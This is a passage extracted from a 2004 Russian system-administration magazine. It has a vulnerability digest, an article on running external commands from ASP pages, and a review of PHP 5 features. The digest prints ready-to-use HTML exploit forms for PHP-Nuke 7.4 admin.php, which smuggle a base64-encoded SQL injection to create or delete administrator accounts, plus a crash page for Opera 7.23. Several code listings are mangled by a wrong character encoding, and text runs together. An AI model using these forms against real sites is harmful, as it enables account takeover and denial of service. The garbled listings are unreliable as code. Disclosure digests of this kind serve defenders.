Также удаленный пользователь может представить спе-циально обработанный POST-запрос, чтобы удалить адми-нистративную учетную запись. Пример:

URL производителя: http://www.phpnuke.org.Решение: Добавьте этот код в admin.php:

<form name="form1" method="POST" ↵↵↵↵↵action="http://www.sitewithphpnuke.com/admin.php">

<input type="hidden" name="admin" ↵↵↵↵↵value="eCcgVU5JT04gU0VMRUNUIDEvKjox">

<br><input type="hidden" name="add_radminsuper" value="1"><br><input type="hidden" name="op" value="mod_authors"><input type="submit" name="Submit" value="Display"><br></p></form>

<form name="form1" method="POST" ↵↵↵↵↵action="http://www.sitewithphpnuke.com/admin.php">

USERNAME: <input type="text" name="del_aid"><input type="hidden" name="admin" ↵↵↵↵↵

value="eCcgVU5JT04gU0VMRUNUIDEvKjox"><br><input type="hidden" name="add_radminsuper" value="1"><br><input type="hidden" name="op" value="deladminconf"><input type="submit" name="Submit" value="Delete Admin"><br></p></form>

if ( !empty($HTTP_GET_VARS['op']) ) {$op = $HTTP_GET_VARS['op'];}if ( !empty($HTTP_POST_VARS['op']) ) {$op = $HTTP_POST_VARS['op'];}

Удаленное повышение привилегийв PHP-NukeПрограмма: PHP-Nuke 7.4.Опасность: Высокая.Описание: Уязвимость обнаружена в PHP-Nuke в admin.php-сценарии. Удаленный пользователь может создать учетнуюзапись с административными привилегиями.

Удаленный пользователь может представить специаль-но обработанный POST-запрос к admin.php, чтобы добавитьучетную запись пользователя с административными при-вилегиями:

URL производителя: http://www.phpnuke.org.Решение: Способов устранения обнаруженной уязвимос-ти не существует в настоящее время.

<form name="mantra" method="POST" ↵↵↵↵↵action="http://www.sitewithphpnuke.com/admin.php">

<p>USERNAME:<input type="text" name="add_aid"><br>NOME:<input type="text" name="add_name"><br>PASSWORD:<input type="text" name="add_pwd"><br>E-MAIL:<input type="text" name="add_email"><br><input type="hidden" name="admin" ↵↵↵↵↵

value="eCcgVU5JT04gU0VMRUNUIDEvKjox"><br><input type="hidden" name="add_radminsuper" value="1"><br><input type="hidden" name="op" value="AddAuthor"></p><p><input type="submit" name="Submit" value="Create Admin"><br></p></form>

Удаленный отказв обслуживании в OperaПрограмма: Opera 7.23 build 3227.Опасность: Низкая.Описание: Уязвимость обнаружена в браузере Opera в об-работке embed-тэга. Удаленный пользователь может со-здать HTML, который, когда будет загружен целевымпользователем, аварийно завершит работу браузера целе-вого пользователя.Пример/Эксплоит:

URL производителя: http://www.opera.com.Решение: Опера 7.21 неуязвима.

<html><head><script language=javascript>function dSend() {document.crash.text;}</script></head><body onLoad="dSend()"><embed src="" type="CCCC" name="crash" ></embed></body></html>

Удаленное или локальное выполнениепроизвольного кода в WinzipПрограмма: WinZip 9.0 и более ранние версии.Опасность: Высокая.Описание: Несколько уязвимостей обнаружено в Winzip.Удаленный или локальный пользователь может выполнитьпроизвольный код.

Сообщается о нескольких обнаруженных уязвимостях,включая переполнения буфера. Дополнительные подроб-ности не раскрываются.URL производителя: http://www.winzip.com/wz90sr1.htm.Решение: Установите обновленную версию данной про-граммы (9.0 SR1): http://www.winzip.com/upgrade.htm.

Cоставил Александр Антипов

Page 88: 022 Системный Администратор 09 2004

86

программирование

Создавая приложения на ASP, предназначенные для облег-чения управления различными сервисами сети, програм-мисты часто сталкиваются с необходимостью запускать изних приложения (BAT, VBS, EXE и т. д.). Читая документа-цию компании Microsoft, понимаешь, что решить задачкуне представляет никакой сложности. Но существует ряд тон-костей в запуске приложений из ASP-страниц, которые по-чему-то не описаны в документации. На практике сталки-ваешься с тем, что сценарий должен работать, посколькувсе написано правильно и встроенный обработчик ошибоксообщает об отсутствии таковых, однако требуемый резуль-тат не достигается. Эта статья посвящена запуску различ-ных типов приложений из ASP-страниц.

Active Server PagesASP-страницы – это сценарии, программный код которыхвыполняется при их запросе. Результатом действия скрип-та является HTML/DHTML-страница, которая отображает-ся у клиента. Структура документа на ASP очень проста. Впервой строке всегда указывается язык, с помощью кото-рого созданы скриптовые вставки ASP-страница. Такимязыком программирования может быть один из двух, под-держиваемый всеми браузерами: Jscript или VBScript. Во

ОСОБЕННОСТИ ЗАПУСКАВНЕШНИХ КОМАНДИЗ ASP-СТРАНИЦ

ИВАН КОРОБКО

всех примерах в данной статье будет использоватьсяVBScript, поскольку он наиболее симпатичен автору. Каж-дый из этих примеров легко переписать на Jscript. Итак,первая строка любого из сценариев на ASP выглядит сле-дующим образом:

или

Программный код, находящийся между <% и %>, вы-полняется на сервере и подчинен синтаксису одного извыбранных языков. Весь остальной код представляет со-бой HTML-страницу в явном виде.

Листинг типовой ASP-страницы выглядит следующимобразом:

<%Script Language=�VBScript�%>

<%Script Language=�JScript�%>

Ïðèìåð 1:<%@ Language=VBScript CODEPAGE=1251%><HTML><TITLE> Çàãîëîâîê ñòðàíèöû </TITLE><HEAD>

Page 89: 022 Системный Администратор 09 2004

87№9(22), сентябрь 2004

программирование

обладать соответствующими правами. IIS представляет со-бой трехзвенную систему.

Пусть IIS имеет настройки по умолчанию. В этом случаепри загрузке любой ASP-страницы она стартует от именивстроенного пользователя (см. рис. 2). Если страница ра-ботает с некими базами данных, например с Active Directory,то пользователь, запускающий данную страницу должен об-ладать правами администратора. Существует несколькоспособов выполнить эти условия. Первый – вместо учет-ной записи встроенного пользователя прописать имя учет-ной записи администратора сети. При таком раскладе лю-бой пользователь в сети сможет посетить данную страни-цу, т.к. она будет запускаться от имени системного адми-нистратора. Этот способ предоставляет всем доступ к дан-ной странице, что, согласитесь, неправильно. Это еще пол-беды. Главное, что таким образом резко снижается безопас-ность всей системы. В случае ошибок на странице злоумыш-ленник запросто запустит вредоносный код с правами ад-министратора. Поэтому предлагается другой способ реше-ния проблемы, с помощью которого можно ограничить дос-туп к ресурсам. В настройках IIS необходимо сбросить фла-жок (см. рис. 2) с Enable anonymous access и установитьего напротив Basic Authentication. Также следует изменитьправа на файловую структуру используемого сайта, исклю-чив оттуда группу Everyone и добавив соответствующуюгруппу безопасности. При такой настройке IIS только сис-темные администраторы получат доступ к данной страни-це. При попытке любого пользователя, не являющегося ад-министратором сети, получить доступ к странице IIS будутзапрошены имя и пароль пользователя.

Если необходимо расширить круг лиц, которым должен

Ðèñóíîê 1

После обработки интерпретатором IIS программного кодаи преобразования результатов его работы в HTML/DHTMLнеобходимо дать команду на отображение страницы в бра-узере клиента. Такой командой является Response.Write q,где q – имя переменной, содержащей фрагмент HTML-кода.

Методы запуска приложений из VBSРассмотрим вызов приложений непосредственно из фай-ла VBS, для этого можно использовать один из методов –Run или Exec. Необходимо отметить, что в VBScript не су-ществует функции, с помощью которой можно запуститьприложения, однако она существует в WSH, который под-держивает VBSscipt и JScript . Создание экземпляра объек-та WSH осуществляется с помощью команды CreateObject(“WScript.Shell”).

По своей сути оба варианта равнозначны, однако ото-бражаемая в CMD-консоли информация (касается command-line-утилит) может быть прочитана только в первом из при-веденных примеров. Во втором примере можно считатьтолько статус завершения дочернего процесса (код ошиб-ки): 0 – команда успешно выполнена, 1 – нет.

Для успешного запуска различных приложений из ASP-страницы необходимо учитывать некоторые особенности,о которых речь пойдет ниже. Все приложения можно услов-но разделить на несколько групп:! приложения с графическим интерфейсом;! приложения, работающие из командной строки

(command lines utilities);! скрипты на VBS/Jscript (хотя скрипты на VBS относятся

к приложениям, запускаемым из командной строки,выделим их в отдельную группу).

Первая особенность: поскольку код ASP-страниц испол-няется на сервере, и только результат в виде HTML-страни-цы пересылается на клиентскую машину, то для успешно-го запуска приложения на сервере, пользователь должен

<LINK href="../style.css" type=text/css rel=stylesheet><meta http-equiv="Content-Type" content="text/html" ↵↵↵↵↵

charset=windows-1251></HEAD> <BODY><FONT FACE="Arial"> �<% � Response.write variable � îòîáðàæåíèå íà ýêðàíå ↵↵↵↵↵

ñîäåðæèìîãî ïåðåìåííîé %>

Ïðèìåð 2:Set Wshell = CreateObject("Wscript.shell")Set Proc = Wshell.Exec("application.exe") ' Æäàòü, ïîêà íå çàâåðøèòñÿ âûïîëíåíèå ïðîãðàììû

Do While Proc.Status = 0WScript.Sleep 100

LoopSet Wshell = NothingMsgBox Proc.StdOut.ReadAll

Ïðèìåð 3:Set Wshell = CreateObject("Wscript.shell")Set Proc = Wshell.Run("application.exe")

Set Wshell = NothingMsgBox Proc

Ðèñóíîê 2

Page 90: 022 Системный Администратор 09 2004

88

программирование

быть доступен данный сайт, и при этом пользователи неявляются системными администраторами, то можно вос-пользоваться вариантом, являющимся синтезом двух ра-нее изложенных решений: ограничить доступ на сайт с по-мощью Basic Authentication и правами на файловую струк-туру, запускать скрипт, инкапсулированный в страницу справами администратора.

Только что мы рассмотрели механизм взаимодействияпервого и второго звена в трехзвенной системе. Первымзвеном является рабочая станция пользователя, вторым –сервер, на котором установлен IIS. Взаимосвязь этих зве-ньев осуществляется с помощью одного пользователя.Между вторым и третьим звеном (сервер IIS, процессы, по-рождаемые из ASP) взаимодействие осуществляется с по-мощью другого пользователя. Рассмотрим взаимодействиевторого и третьего звена подробнее.

При запуске из кода ASP-страницы какого-либо прило-жения осуществляется взаимодействие между вторым итретьим звеном. IIS порождает процесс, запускаемый отимени другого встроенного пользователя. Поскольку ASP-страница выполняется на сервере, то для запуска прило-жения необходимы соответствующие права. Управлениеэтой учетной записью пользователя осуществляется вApplication Tools (см. рис. 3).

Такова первая особенность, касающаяся абсолютно всехприложений. Существует вторая, также характерная длявсех приложений.

С помощью ASP-страниц можно вызывать приложения,находящиеся на удаленном компьютере. Некоторые прило-жения не могут быть запущены на другой платформе. На-пример, некоторые утилиты, успешно запускающиеся вWindows 2000, выдают сообщение об ошибке на Windows2003, аналогичная ситуация может возникнуть с приложе-ниями Windows 98, запускаемыми на Windows 2k.

Запуск приложенияc графическим интерфейсомЗапуск приложения осуществляется с использованием од-ного из вышеописанных методов (см. примеры 2, 3). Един-ственной особенностью является необходимость указывать

полный путь к запускаемому приложению. Путь может бытькак локальным, например, C:\Folder1\..., так и сетевым:\\Server\C$\Folder1...

Запуск приложения из командной строки(command line utility)В качестве приложения может быть программа, запускае-мая из командной строки (command-line utility), приложениедля Windows (файл с расширением EXE).

Рассмотрим особенности запуска command-line-прило-жений из ASP-страниц. Синтаксис команды запуска утили-ты из командной строки следующий:

Префикс %comspec% /c является обязательным. Пере-менная окружения %comspec% указывает на C:\Windows\System32\cmd.exe. Поскольку при запуске внешней коман-ды порождается процесс CMD, то после отработки коман-ды его необходимо закрыть. Эта процедура осуществляет-ся с помощью ключа /c. Если процессы не закрывать, то вконце концов возникнет недостаток памяти на сервере, чтоприведет к существенному снижению скорости его работы,а впоследствии к отказу функционирования различныхслужб компонентов. Путь к утилите также необходимо пи-сать полностью. Допускается использование сетевых именв формате UNC (\\Server\Share\...).

Запуск скриптовЗапуск скриптов имеет ряд особенностей. Рассмотрим двавида скриптов, которые, на взгляд автора, используютсянаиболее часто в данной ситуации: VBS-скрипты и BAT-файлы.

Запуск VBS-файлов из скриптаБывают ситуации, когда необходимо из ASP-страницы за-пустить внешний VBS-скрипт. Как правило, он запускаетсяс параметрами. Рассмотрим кусок листинга VBS-скрипта,касающийся чтения его внешних параметров.

Чтение параметров основано на использовании свой-ства Arguments объекта WScript WSH. Приведем пример,который определяет, с какими параметрами был запущенскрипт:

Чтение значений элементов массива, содержащего ар-

%comspec% /c cmd_util.exe

Ðèñóíîê 3

Ïðèìåð 4:Set objArgs=Wscript.Argumentst=�Êîëè÷åñòâî çàäàííûõ ïàðàìåòðîâ - � ↵↵↵↵↵

& Wscript.Arguments.Count & chr(13) & �Ïàðàìåòðû:� & chr(13)For Each arg in objArgst = t & arg & chr(13)NextMsgBox t

Ðèñóíîê 4

Page 91: 022 Системный Администратор 09 2004

89№9(22), сентябрь 2004

программирование

гументы скрипта, можно осуществлять другим способом.Оба варианта дают один и тот же результат. Поэтому еговыбор зависит от пристрастий программиста. Отметимлишь, что первый вариант компактнее. Однако, если необ-ходимо использовать нумерацию объектов, то второй ва-риант окажется удачнее, поскольку в первом придется вво-дить дополнительно счетчик:

Иногда необходимо получить значение определенногоаргумента. Это проиллюстрировано в примере 6. Необхо-димо помнить, что нумерация элементов начинается с 0:

Приведенный пример не является образцом програм-мирования, поскольку в примере отсутствует обработчикошибок.

Предугадывание возможных ошибок, имитация простей-шего интеллекта у программы является хорошим тоном впрограммировании. Поэтому создадим для этого примераобработчик ошибок. В данной ситуации ошибка возникает

в том случае, если осуществляется чтение несуществую-щих параметров.

Запуск BAT-файловПри использовании BAT-файлов необходимо помнить, чтоотдельный процесс порождается не только в момент запус-ка такого типа файлов, но и при выполнении каждой из ко-манд, находящихся внутри него. По той же самой причине нестоит выполнять взаимосвязанные команды, поскольку мо-жет сложиться ситуация, когда первая еще не успела отра-ботать, а вторая, содержащаяся в следующей строке и ис-пользующая результат работы первой команды, уже началавыполняться. В результате произойдет ошибка. Чтобы избе-жать этого, вызывайте команды из кода ASP-страницы иосуществляйте проверку результата отработанной команды.

Подводя итог, кратко отметим, что при работе с внешни-ми файлами из ASP-страниц необходимо учитывать осо-бенности работы IIS. Надеюсь, что прочитав эту статью, упрограммистов не будет проблем с запуском приложенийиз ASP-страниц.

Ïðèìåð 6:Set objArgs=Wscript.ArgumentsMsgbox objArgs(2) ' ×òåíèå òðåòüåãî àðãóìåíòà.

Ïðèìåð 7:Set objArgs=Wscript.ArgumentsCoun = Wscript.Arguments.Countq = InputBox (�Ââåäèòå íîìåð ñ÷èòûâàåìîãî àðãóìåíòà�, ↵↵↵↵↵

�×òåíèå íîìåðà àðãóìåíòà�)-1t = ��if q> Coun thent= objArgs(q)elset=�ERROR�End ifMsgbox t

Ïðèìåð 5:Set objArgs=Wscript.ArgumentsCoun = Wscript.Arguments.Countt="Êîëè÷åñòâî çàäàííûõ ïàðàìåòðîâ - " & Coun & chr(13) ↵↵↵↵↵

& "Ïàðàìåòðû:" & chr(13)For i=0 to Coun-1t = t & i+1 & ": "& objArgs(i) & chr(13)NextMsgBox t

Page 92: 022 Системный Администратор 09 2004

90

программирование

PHP 5 – ПРИШЕСТВИЕ НЕИЗБЕЖНО

Появление PHP5 – эволюционное,а не революционное событие.

Расмус Лердорф,автор и первый разработчик PHP

КИРИЛЛ СУХОВ

Page 93: 022 Системный Администратор 09 2004

91№9(22), сентябрь 2004

программирование

Итак, свершилось. 13 июля 2004 г. вышла пятая версия са-мого популярного на сегодняшний день языка веб-разра-ботки – PHP. Его создатель, Расмус Лердорф, подчёркива-ет, что изменения, привнесённые в язык, не революцион-ны, а скорее эволюционны, но беглое знакомство с новымивозможностями PHP заставляет усомниться в словах мэт-ра. За недолгое время своего существования PHP из набо-ра скриптов для придания интерактивности домашней стра-нички автора сумел вырасти в мощное средство разработ-ки веб-приложений и теперь – новый шаг вперед. Насколь-ко этот шаг важен и какие последствия перехода на новуюверсию грозят программисту и системному администрато-ру, можно оценить, ознакомившись с основными нововве-дениями PHP 5 и возможными проблемами, связанными сего использованием.

Объектная модельНаиболее радикальные изменения языка связаны с введе-нием новой объектной модели – Zend Engine II.

Формально элементы ООП появились ещё до выходачетвёртой версии PHP и были значительно расширены впятой. Объектно-ориентированная модель позволяла рабо-тать с классами и объектами, объединяя методы и свой-ства, поддерживала наследование, но имела весьма серь-ёзные ограничения. Прежде всего это необходимость прикаждом использовании объекта обращаться к нему по ссыл-ке, в противном случае получалась его копия, и при любомизменении объекта или его свойств происходило копиро-вание в новый объект. Поясню на примере:

В РНР 4 этот код выведет «Bill». Дело в том, что мы пе-редаем объект $person в функцию changeName() по значе-нию, а не по ссылке, таким образом, объект $person будетскопирован, и changeName() будет работать уже с копиейобъекта $person.

В PHP 5 объектная модель была полностью переписа-на, и работа теперь осуществляется с указателями наобъект. Нет необходимости явно передавать объекты илиприсваивать их по ссылке, всё происходит автоматически.Впрочем, явная передача и присваивание по ссылке такжеподдерживается, более того, введён новый метод _clone(),который можно использовать, в случае если возникает не-обходимость клонировать объект.

Разумеется, на этом нововведения не закончились. По-явилась полноценная реализация конструкторов и деструк-торов классов (__constuct, __destruct), стали доступны мо-дификаторы Private, Public, Protected; (В PHP 4 все методыи переменные внутри объекта были открытыми), введеныабстрактные классы (то есть классы, используемые толькокак базовые).

Появились специальные методы (__call, __get, __set),предназначенные для «отлова» всех нереализованных вданном классе методов, попыток изменения или доступа кнеопределённым (или недоступным) переменным. Откры-лась возможность передать методу тип передаваемого ар-гумента.

Хотя множественное наследование в стиле С++ в PHP 5не поддерживается, классы могут наследовать множествен-ные контакты через ещё одно нововведение – интерфейсы.Естественно, программистам, знакомым с Java, объяснять,что это такое, не надо, для остальных приведу пример:

(Класс может наследовать только один класс, но приэтом иметь столько интерфейсов, сколько потребуется)

Стал ли после всего вышеописанного PHP объектно-ориентированным языком? На мой взгляд, сама постанов-ка вопроса неправомерна. Как сказал по этому поводу Стер-линг Хьюз (один из разработчиков PHP, автор книги PHPDeveloper`s Cookbook): «Тяжело определить «настоящуюобъектность», так как у каждого есть своё мнение на этотсчёт».

Обработка исключенийМне кажется, это одно из самых полезных новшеств PHP 5.Механизм обработки исключений реализован за счёт кон-струкций try/catch/throw и позволяет значительно упроститькод, разместив все обработчики ошибок в одном месте.Кроме того, предусмотрена возможность определять соб-ственные исключения. Делается это посредством расши-рения класса Exception, определив его конструктор и ме-тод getMessage:

<?phpclass foo { var $name; function getName() { return $this->name; } function setName($name) { $this->name = $name; } function foo($name) { $this->setName($name); }}function changeName($person, $name) { $foo->setName($name);}$person = new foo("Bill");changeName($person, "John");print $person->getName();?>

<?class foo {function __clone() {print "Cloned!";}}$obj =new foo();clone $obj;?>

<?phpfunction expectsMyClass(MyClass $obj) {}?>

<?phpinterface Display {function display();}class Circle implements Display {function display() {print "Displaying circle "; }}?>

Page 94: 022 Системный Администратор 09 2004

92

программирование

XMLПосле изменения объектной модели самым существенныминновациям (на мой взгляд) подверглась работа с XML. ВPHP 4 поддержка данных технологий была довольно раз-нородной, если не сказать бестолковой. Для использова-ния XSTL была необходима библиотека Sablotron, для SAX –Expat и, наконец, для полноценной работы с DOM – биб-лиотека libxml2. Причём в последнем случае имели местомногочисленные ошибки, утечки памяти и несоответствиеAPI стандартам W3C (впрочем, это был наименее болез-ненный пункт).

С появлением PHP 5 всё радикально изменилось. Всевышеперечисленные расширения (и два новых, о которыхречь пойдёт ниже) теперь основаны на libxml2, расширениеDOM полностью соответствует стандартам и поддержива-ет три вида схем для проверки (валидации XML-докумен-тов: DTD, XML Schema и RelaxNG. SAX-расширение можнозаставить работать под старой библиотекой Expat для со-вместимости со старыми приложениями, пересобрав PHPс соответствующей опцией, но в большинстве случаев та-кие ухищрения не понадобятся (как, собственно, и сам SAX,но это уже моё личное мнение).

Особенность работы с XSLT (также основанной наlibxml2) теперь состоит в том, что XSL-преобразование непринимает таблицу стилей XSLT в качестве параметра, азависит от расширения DOM. Таблица стилей теперь мо-жет кэшироваться в памяти и применяться ко многим доку-ментам без дополнительной загрузки.

В общем, подытоживая, можно сказать, что, совсем чутьпотеряв, мы получили довольно много, а именно, наконец-то стабильно работающую реализацию DOM.

Теперь о новинках. Появились два новых XML-расши-рения – SampleXML и SOAP (Simple Object Access Protocol).Вообще-то каждое из них заслуживает отдельного разго-вора, но если быть кратким, то первое – это прозрачноепредставление XML-документа как родного объекта PHP.

Что особенно ценно в случае невозможности (в силу ог-раничений данного расширения) выполнить какие-либодействия, всегда сохраняется шанс, преобразоватьобъект SampleXML в дерево DOM, выполнить необходи-мые действия и вернуться обратно, к SampleXML (функ-ции dom_import_ () и simplexml _import_ dom () соответ-ственно). Оба расширения реализованы в одной библио-теке, и переключения между ними теперь, по крайнеймере, безболезненны.

Поддержка SOAP в PHP 4 осуществлялась при помощисоответствующего пакета из PEAR и была недостаточнополноценна. В PHP 5 реализация SOAP была полностьюпереписана, как С-расширение, и теперь практически со-ответствует стандарту.

Помню, несколько лет назад разворачивались доволь-но оживлённые дискуссии о самой возможности работатьс веб-сервисами посредством PHP. С тех пор появилось не-сколько реализаций SOAP, таких как PEAR::SOAP (http://pear.php.net), NuSOAP (http://dietrich.ganx4.com/nusoap) и eZSOAP (http://ez.no). Все они были написаны на PHP, и са-мым важным преимуществом нового расширения, по-ви-димому, следует считать скорость работы. Кроме того, врасширении SOAP почти полностью реализованы специфи-кации SOAP 1.1 и SOAP 1.2, в частности поддержка комп-лексных типов данных и SOAP-заголовков. А также WSDL1.1, на котором хотелось бы остановиться особо.

Сама реализация SOAP в этом расширении диктуетиспользовать WSDL (Web Services Description Language)там, где это возможно. Причём для увеличения скоростиработы WSDL-файл кэшируется, и параметры кэширова-ния настраиваются в конфигурационном файле php.ini.

Преимущества WSDL-стиля поясню на примере. Таквыглядит простейший SOAP-клиент, написанный без при-менения WSDL:

А так – тот же самый клиент, переписанный с использова-нием WSDL:

При вызове методов различий в реализации гораздобольше. Так как отпадает необходимость указания не толькоURI-сервера, но и пространства имен, заголовка SOAPAction, способа кодирования и типов параметров. Вся этаинформация берется из WSDL-документа. Единственнойпроблемой остаётся получение клиентом WSDL-файла ссервера, но она решается за счёт вышеупомянутого меха-низма кэширования.

Тут, наверное, следует остановиться, поскольку это до-вольно большая и серьёзная тема и хоть как-нибудь развер-нуть её в нескольких абзацах не представляется возможным.Заинтересовавшихся отсылаю к статье Дмитрия Стогова,одного из авторов SOAP-расширения PHP, «Практическоеиспользование SOAP в PHP 5» (http://www.zend.com/php5/articles/php5-SOAP.php).

<?phpclass Exception {function __construct(string $message=NULL, int $code=0) {if (func_num_args()) {$this->message = $message;}$this->code = $code;$this->file = __FILE__; // of throw clause$this->line = __LINE__; // of throw clause$this->trace = debug_backtrace();$this->string = StringFormat($this);}protected $message = 'Unknown exception'; // exception messageprotected $code = 0; // user defined exception codeprotected $file; // source filename of exceptionprotected $line; // source line of exceptionprivate $trace; // backtrace of exceptionprivate $string; // internal only!!final function getMessage() {return $this->message;}final function getCode() {return $this->code;}final function getFile() {return $this->file;}?>

$client = new SoapClient("some.wsdl");

$client = new SoapClient(null, array('location' => "http://localhost/soap.php",'uri' => "http://test-uri/",'style' => SOAP_DOCUMENT,'use' => SOAP_LITERAL));

Page 95: 022 Системный Администратор 09 2004

93№9(22), сентябрь 2004

программирование

Базы данныхТак уж сложилось, что наиболее «php-совместимым» сер-вером баз данных является СУБД MySQL. Эта связка былапоставлена под угрозу зимой 2004 года, когда MySQL ABизменила лицензию своего продукта, основанного на GPL.

Если не вдаваться в юридические тонкости, можно про-сто сказать, что клиентская библиотека MySQL по умолча-нию в PHP больше не присутствовала. Её, конечно, можнобыло установить, но предварительно тщательно ознакомив-шись с лицензией. Честно говоря, в среде PHP-программи-стов это известие вызвало некоторый шок (и это несмотряна то, что связка PHP 4.x и MySql 3.x оставалась вполнелегитимной). Часть разработчиков устремилась в сторонуPostgreSQL, а часть просто обратила внимание на появив-шееся уже в версии 4.3x новое расширение MySQLite.

Была ещё одна причина заинтересоваться этой библио-текой. Периодически на форумах разработчиков поднима-ется вопрос – можно ли написать веб-приложение, «управ-ляемое данными», без использования сервера баз данных.Вообще мне всегда казалось, что эта экономия (ну, разуме-ется, на хостинге) совершенно неуместна, но вот встроен-ная библиотека SQLite, пожалуй, добавляет плюсов подоб-ному подходу. Во всяком случае средство работы с данными(как бы удачней этот софт назвать?), поддерживающее та-кие возможности, как транзакции, вложенные запросы ипредставления, по крайней мере заслуживает интереса.

А что же с MySQL?В общем, юридические проблемы благополучно разре-

шились. Товарищи из MySQL AB, похоже, опомнились, итеперь ограничения на клиентскую библиотеку снято (во-обще понять их можно, популярность MySQL во многомбыла основана на широком распространении PHP). Болеетого, введено новое расширение, mysqli (Improved MySQLExtenrsion), поддерживающее новые возможности MySQL,появившиеся в версии 4.1 и выше, такие как транзакции,репликация и т. д. (правда, стоит оговориться, что многиеиз них ещё не реализованы).

Прочее

АвтозагрузкаКак известно, работая с PHP, приходится мириться с темфактом, что препроцессор не держит приложение в памя-ти целиком, а подгружает все файлы при обращении к каж-дой странице. При использовании какого-нибудь популяр-ного движка совершенно очевидна избыточность получа-емого кода, но настройка подключения только необходи-мых классов или файлов – довольно кропотливое и не-благодарное занятие. В PHP 5 эта проблема решена с по-мощью функции-события _autoload(). Суть её работы в сле-дующем: при обращении к неизвестному классу или ин-терфейсу автоматически подгружается файл, содержащийих описание. Данная функция также снимает проблемувключения файлов в порядке иерархии наследования.Надо сказать, что реализация автозагрузки на настоящиймомент вызывает много нареканий, но останавливатьсяна них не буду, поскольку, скорее всего, к моменту выхо-да статьи большинство обнаруженных ошибок будут ис-правлены.

COMКак известно, в PHP 4 (а точнее немного раньше) в языкепоявилась поддержка COM-технологии.

На практике это означало возможность работы с любы-ми объектами, имеющими COM-интерфейс, в том числе ис приложениями Microsoft Office (что особо ценно, когда твоиотчёты требуются бухгалтерии или шефу).

Правда, данная реализация имела существенные не-удобства, связанные с недостатками объектной моделиРНР 4, которая накладывала ограничения и на сами скрип-ты, и на использование СОМ-расширений.

В пятой версии все, что связано с работой COM-рас-ширений, было полностью переписано (причём такие, не-сколько несвойственные идеологии COM-модели функции,как com_addref(), com_release(), com_get(), com_set(), com_isenum() и com_load() попросту ликвидированы, что, стро-го говоря, порождает некоторые проблемы обратной со-вместимости). Добавлено много возможностей, из кото-рых наиболее полезными (лично мне), представляютсяследующие:! Обработка исключительных ситуаций (в PHP 4, внутри

COM-кода это было невозможно). Она осуществляетсяс помощью класса com_exception, который является рас-ширением базового класса обработки исключенийexception, предоставляемого РНР, и включает все егометоды.

! Для перебора теперь доступна функция foreach(), тем,кто имел опыт работы с COM посредством PHP, поймутвсё удобство этого новшества.

! Тип variant, наконец, обрёл нормальный, работоспособ-ный вид, впрочем, об этом тоже можно довольно многоговорить.

! Модель OO в PHP 5 позволяет РНР-препроцессору са-мостоятельно получать от COM-объекта информацию ометоде, который будет вызван.

.NetВ РНР 5 встроена поддержка .Net. Точнее, есть возмож-ность работать с экземплярами объектов, определенных в.Net через взаимодействия с COM-оберткой.

То есть можно считать, что PHP «видит» объекты .Netтак, как если бы они были объектами COM, что даёт разра-ботчику доступ к библиотеке .Net-классов.

Standard PHP Library (SPL)SPL, по сути, является средством расширяемости ZendEngine, это альтернативное расширение для Zend Engine 2,которое определяет стандартный набор интерфейсов.Ваш объект использует интерфейс из SPL, и, когда осу-ществляется доступ к объекту через встроенные конст-рукции PHP, вызываются различные методы, определён-ные интерфейсом. Данная возможность основана на но-вых внутренних свойствах Zend Engine 2, позволяющихсоздавать собственные и перезаписывать существующиемашинные коды (то есть opcodes – наборы инструкций, вкоторые компилируется PHP-скрипт). На мой взгляд, SPL –самая спорная по полезности возможность PHP 5, таккак сильно затрудняет работу с вашим кодом других раз-работчиков.

Page 96: 022 Системный Администратор 09 2004

94

программирование

Новый API потоковПонятие потоков (streams) появилось в PHP, начиная с вер-сии 4.3.0. Этот механизм дал возможность абстрагирован-но работать с файлами, сетевыми ресурсами и архивами,предоставляя единый интерфейс доступа. В пятой версиипрепроцессора возможности работы с потоками значитель-но расширены, в частности, доступны низкоуровневые опе-рации с сокетами, работа с сокет-сервером. Пример рабо-ты с сокетами из документации:

Честно говоря, такие возможности мне лично исполь-зовать не приходилось, но само их наличие впечатляет.

PerlБлагодаря новому расширению для работы с Perl (не вклю-чённому по умолчанию), в PHP 5 теперь возможно прямо изPHP-кода вызывать Perl-скрипты и работать с объектами Perl.

TidyВ PHP 5 включена поддержка библиотеки Tidy (http://tidy.sf.net/), позволяющей разработчикам разбирать, прове-рять синтаксис и восстанавливать документы HTML. Исполь-зуется как функциональный, так и объектно-ориентирован-ный интерфейс, а также механизм исключений РНР 5.

Уровень сообщений об ошибкахНовый уровень сообщений об ошибках E_STRICT включа-ет вывод сообщений об использовании в коде устаревших(с точки зрения PHP 5) методов программирования. Он невходит в уровень E_ALL, поэтому рекомендуемый уровеньвыглядит так: E_ALL | E_STRICT.

Новый менеджер памятиГлавными преимуществами менеджера памяти Zend Engine IIявляются улучшенная поддержка многопоточных сред и го-раздо более эффективное освобождение распределённыхблоков памяти после каждого запроса.

С полным списком нововведений можно ознакомитьсяна сайте компании Zend Technologies, по адресу http://www.zend.com/php5/whats-new.php.

Ложка дёгтяПри выходе любой новой версии, того или иного продукта,неизбежно возникает проблема обратной совместимости.Сразу встаёт вопрос разумной грани между полной обрат-ной совместимостью и добавлением новых, где-то дажереволюционных возможностей. Мне кажется, что разработ-чики PHP благополучно преодолели эти грабли, впрочем,судите сами.

Во-первых, данные проблемы будут касаться программ,опирающихся на старые механизмы реализации классов.Выхода тут два: переписать код, используя вышеупомяну-тый метод __clone(), или в конфигурационном файле php.iniвключить параметр ze2.implicit_clone, приказав объектамвести себя по привычной для PHP 4 схеме, вместе с тем ос-тавляя возможность использовать свойства PHP 5, такие какунифицированные конструкторы, пространства имён, ис-ключения, и т. д.

Правда, последнее больше похоже на капитуляцию, нопри наличии уже существующих достаточно объёмных исложных проектов этот выход довольно разумен.

При работе с объектами необходимо также учитыватьто обстоятельство, что свойства объекта должны быть пре-допределены, то есть нижеприведённый код работать небудет:

Следующая по значимости проблема связана с новымиправилами работы с XML, дело тут не в изменении исполь-зуемых библиотек, а в том, что названия функций API былиприведены в соответствие со стандартами W3C. Шаг бо-лезненный но, по-видимому, необходимый. Для разработ-чика нет другого пути, как переименовать функции в ста-рой программе (благо с точки зрения функциональностиничего не изменилось).

Что ещё?Теперь зарезервированными являются следующие сло-

ва: try, catch, throw, exception, public, private, protected,abstract, interface, final.

Кроме того, при объявлении класса к ним добавляются__call, __get, __set, __clone, __construct, __destruct. Прав-да, я с трудом представляю программиста, который исполь-зует подобные имена для констант или переменных, но темне менее.

И наконец, самая фатальная потеря. Больше не поддер-живается операционная система Windows 95. Не поддер-живается, потому что не способна (по заявлению разработ-чиков) реализовать новые возможности языка. Мне кажет-ся, что это известие поселит траур в душах большинстваPHP-программистов.
